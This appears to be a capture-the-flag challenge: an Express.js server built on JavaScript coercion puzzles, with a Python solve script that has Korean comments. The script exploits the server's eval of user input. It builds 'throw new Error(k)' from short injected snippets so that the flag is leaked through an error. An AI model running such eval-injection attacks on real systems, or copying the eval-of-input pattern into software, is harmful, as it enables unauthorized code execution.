const fs = require('fs');
const express = require('express');
const port = 3000;
const flag = fs.readFileSync('flag.txt', 'utf8');
const app = express();
app.use(express.urlencoded({ extended: false }));
let stage = 0;
const q = [
"('b'+'a'+ +'a'+'a').toLowerCase() == input",
"typeof a == 'number' && a !== NaN && (a - 1 < a) == false",
"Object.is(0, a) == false && Math.abs(1 / a) > 1",
"input.length <= 6 && (eval(input) > 0) == false && (eval(input) == 0) == false && (eval(input) >= 0) == true",
"input == 0 && input == 1",
];
app.get('/', (req, res) => {
if (req.query.reset === 'true') {
stage = 0;
}
res.send(`
<h1>Stage: ${stage}</h1>
<h2>${q[stage]}</h2>
<form action="/check" method="post">
${stage == 1 || stage == 2 ? 'a = parseInt("<input type="text" name="input" />")' : 'input = "<input type="text" name="input" />"'}
<input type="submit" value="Submit" />
</form>
<button onclick="window.location.href='/?reset=true'">Reset</button>
`);
});
app.post('/check', (req, res) => {
const input = req.body.input.toString() || '';
let a;
switch (stage) {
case 0:
if (input == ('b'+'a'+ +'a'+'a').toLowerCase()) {
stage = 1;
}
break;
case 1:
a = parseInt(input);
if (typeof a == 'number' && a !== NaN && (a - 1 < a) == false) {
stage = 2;
}
break;
case 2:
a = parseInt(input);
if (Object.is(0, a) == false && Math.abs(1 / a) > 1) {
stage = 3;
}
break;
case 3:
if (input.length <= 6 && (eval(input) > 0) == false && (eval(input) == 0) == false && (eval(input) >= 0) == true) {
stage = 4;
}
break;
case 4:
if (input == 0 && input == 1) {
stage = 5;
res.redirect('/flag');
}
break;
}
res.redirect('/');
});
app.get('/flag', (req, res) => {
res.send(stage == 5 ? flag : 'Do not cheat!');
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
# solve_reloading.py
import requests
BASE = "http://host8.dreamhack.games:20645"
s = requests.Session()
def post(v):
return s.post(f"{BASE}/check", data={"input": v})
def reset():
s.get(f"{BASE}/", params={"reset":"true"})
def bootstrap_to_stage3():
reset()
post("banana") # Stage 0 -> 1
post("NaN") # Stage 1 -> 2 (parseInt -> NaN)
post("-0") # Stage 2 -> 3
def build_string_c(target):
# c="" (init) ; e=eval (alias) ; k=flag (short alias)
post('e=eval') # 6 chars
post('k=flag') # 6 chars (옵션: 최종 페이로드에서 flag 대신 k 사용)
post('c=""') # 4 chars
for ch in target:
# b="x" (ex: b="t") -> 4~6 chars (항상 <= 6)
post('b="'+ch.replace('"','\\"')+'"')
# c+=b;1 -> 부작용으로 c에 1글자 추가, 평가값 1이라 단락됨
post('c+=b;1')
def main():
# 1) Stage 3 위치로 세팅
bootstrap_to_stage3()
# 2) 최종 페이로드 문자열 준비
# flag 별칭 k를 쓸 거라 "throw new Error(k)" 로 조립
payload = 'throw new Error(k)'
# 3) c에 한 글자씩 누적
build_string_c(payload)
# 4) eval(c) 실행 → 예외 발생, 에러 메시지에 flag 노출 기대
r = post('e(c)')
print(r.text) # 여기서 Error 페이지/메시지 안에 플래그가 들어있어야 함
if __name__ == "__main__":
main()